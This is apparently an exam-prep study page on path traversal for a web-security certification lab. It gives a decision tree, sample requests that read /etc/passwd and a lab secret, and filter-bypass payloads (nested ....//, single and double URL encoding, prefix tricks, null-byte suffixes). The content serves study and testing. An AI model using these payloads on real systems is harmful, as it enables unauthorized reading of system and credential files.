Path Traversal¶
← Back to index · Stage 3 (read the secret) · Read the mindset page first.
Why it exists: the app reads a file whose name comes from your input (an image loader, a document viewer), and builds the path by concatenating your input onto a base directory. The sequence ../ means "go up one directory" to the OS, so by prefixing enough of them you climb out of the intended folder to anywhere on disk. On BSCP it's a Stage-3 route straight to /home/carlos/secret.
The one rule: baseline with a legit filename first, try plain traversal, then read the response to identify the defense (strip / prefix-check / extension-check) and apply only the matching bypass. Don't jump to triple-encoding when
../works.
Decision tree¶
flowchart TD
A["A parameter names a file?"] --> B["Try ../../../../etc/passwd"]
B --> C{"How did it respond?"}
C -->|file contents returned| WIN["Swap in the target path"]
C -->|../ stripped| NEST["....// (defeats one-pass strip)"]
C -->|../ blocked| ENC["URL / double-URL encode"]
C -->|'must be under /dir'| ABS["Prefix the base dir, then traverse out"]
C -->|'must end .png'| EXT["null byte / suffix trick"]
NEST --> WIN
ENC --> WIN
ABS --> WIN
EXT --> WIN
WIN --> OUT["Read /home/carlos/secret"]
1. Find it and baseline¶
Why baseline: request a known file first so you know what success looks like; then you can tell whether a traversal attempt changed anything.
GET /image?filename=cat.jpg # baseline — note the response
GET /image?filename=../../../../etc/passwd # confirm the primitive with a file you know exists
/etc/passwd (always present, obvious contents) before going for the secret — it proves the bug independently of guessing paths.
2. Beat the filter — why each bypass works¶
Read the response to see which defense is in the way, then match it:
strips ../ once -> ....//....//....//etc/passwd (removing the inner ../ leaves a valid ../)
blocks literal ../ -> %2e%2e%2f... (the filter checks for '../' before decoding; the server decodes after)
-> %252e%252e%252f... (some servers decode TWICE)
must start with /dir-> /var/www/images/../../../etc/passwd (satisfy the prefix check, then climb out)
must end .png -> ../../../etc/passwd%00.png (legacy null-byte truncation cuts the required suffix)
3. Read the target¶
Failure modes¶
- No change from baseline → you may not have left the folder; add more
../(over-traversing is harmless — extra../at root just stays at root). - Filter strips
../once → use....//so the strip reveals a../. - Literal
../blocked → single- then double-URL-encode (the second decode happens server-side). - "Access denied"/prefix enforced → start the path with the expected base directory, then traverse out.
- Right idea, wrong target → this is a read primitive, not RCE; to execute code pivot to upload/SSTI/command injection.